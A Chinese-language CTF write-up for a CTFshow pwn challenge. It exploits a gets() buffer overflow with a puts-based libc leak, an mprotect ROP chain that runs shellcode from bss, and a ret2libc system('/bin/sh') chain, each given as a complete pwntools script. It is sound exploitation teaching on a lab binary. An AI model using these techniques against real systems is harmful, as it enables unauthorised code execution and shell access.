mprotect,ret2libc

当一道题libc基址被屏幕前聪明的小子拿到时，“我们可以就干很多事了”，比如mprotect

先来讲讲mprotect：

要想使用mprotect，得先了解32位和64位寄存器调用顺序，一般来说主要用到前三个寄存器

32位调用顺序

ebx

ecx

edx

ep:read(ebx,ecx,edx)

64位调用顺序

rdi

rsi

rdx

ep:read(rdi,rsi,rdx)

32位是先调用函数再从栈调用参数

64位是先把参数存好，然后调用函数，函数取相应寄存器调用参数

然后来讲讲mprotect函数的使用规则：mprotect（起始地址（要把后三位地址换成000），长度，0-7（取决于你想把目标地址权限改成什么样儿，一般改成7：可读可写可执行））

实践：

checksec：只有一个NX

ida反编译main函数：

init函数是一个初始化函数不用看

进入logo函数我们也可以看到这道题提示了用mprotect函数

最后进入ctfshow函数：

看到gets函数，那么就存在栈溢出了，shift+f12看了一下也是没有后门函数什么的

那么直接从gets函数下手写脚本，首先把libc基址泄露出来：

寄存器地址我们用ropgadget来获取：

ROPgadget --binary pwn  --only 'pop|ret'  

 

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
p=process("./pwn2")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf=ELF("./pwn2")
def bug():
	gdb.attach(p)
	pause()

rdi=0x00000000004007e3


p.recvuntil("Hello CTFshow\n")
pay=b'a'*(0x20+8)+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x400637)
bug()
p.sendline(pay)


p.interactive()

 跑一下脚本：

打印出了puts的函数地址，再接收一下，用函数地址减去函数偏移得到libc基址：

read_addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(read_addr))
libc_base=read_addr-libc.sym['puts']
print(hex(libc_base))

果然也是成功打印出来了：

接着用基址加上mprotect函数的偏移得到真实地址：

mprotect=libc_base+libc.sym['mprotect']

 接下来进入第二次读入：

这时就开始使用mprotect函数来修改一段bss权限，先用ropgadget获取一下另外两个寄存器rsi,rdx

如果上面那条指令找不到我们可以使用：

ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6  --only 'pop|ret' 

 但是这样获得的寄存器地址都是偏移，需要加上libc基址

之后按顺序把参数弹到三个寄存器里再调用mprotect函数：

pay=b'a'*(0x20+8)+p64(rdi)+p64(bss)+p64(rsi)+p64(0x1000)+p64(rdx_r12)+p64(7)*2+p64(mprotect)

进入调试看一看程序是否按照我们的预想在第二次读入后进入了mprotect函数：

果然是进入了mprotect函数，再ni就ni不动了，因为我们还没有填入返回地址，接下来再将返回地址修改为bss，但是到这我们只是修改了bss的权限，以及返回到bss并没有获取权限的操作，那么接下来需要再使用

shell=asm(shellcraft.sh())

 写出一段shellcode，那么因此还需要再借助一个读入函数来让我们的shellcode读入到bss里面，完整脚本如下：

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
p=process("./pwn2")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf=ELF("./pwn2")
def bug():
	gdb.attach(p)
	pause()

rdi=0x00000000004007e3


p.recvuntil("Hello CTFshow\n")
pay=b'a'*(0x20+8)+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x400637)
bug()

p.sendline(pay)

read_addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(read_addr))
libc_base=read_addr-libc.sym['puts']
print(hex(libc_base))
mprotect=libc_base+libc.sym['mprotect']

rsi=libc_base+0x000000000002601f
rdx_r12=libc_base+0x0000000000119431
bss=0x602000

p.recvuntil("Hello CTFshow\n")
pay=b'a'*(0x20+8)+p64(rdi)+p64(bss)+p64(rsi)+p64(0x1000)+p64(rdx_r12)+p64(7)*2+p64(mprotect)+p64(rdi)+p64(bss)+p64(elf.plt['gets'])+p64(bss)
bug()
p.sendline(pay)

pause()
shell=asm(shellcraft.sh())
p.sendline(shell)
p.interactive()

 这样就成功获取权限：

另一种方法ret2libc就相对于mprotect要简单一点了，按照常规做法

read_addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(read_addr))
libc_base=read_addr-libc.sym['puts']
print(hex(libc_base))
system=libc_base+libc.sym['system']
bin_sh=libc_base+libc.search(b"/bin/sh\x00").__next__()

在第二次读入的时候直接使用system /bin/sh即可获取权限，完整脚本：

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
p=process("./pwn2")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf=ELF("./pwn2")
def bug():
	gdb.attach(p)
	pause()

rdi=0x00000000004007e3


p.recvuntil("Hello CTFshow\n")
pay=b'a'*(0x20+8)+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x400637)


p.sendline(pay)

read_addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(read_addr))
libc_base=read_addr-libc.sym['puts']
print(hex(libc_base))
system=libc_base+libc.sym['system']
bin_sh=libc_base+libc.search(b"/bin/sh\x00").__next__()

p.recvuntil("Hello CTFshow\n")
pay=b'a'*(0x20+8)+p64(rdi)+p64(bin_sh)+p64(rdi+1)+p64(system)
p.sendline(pay)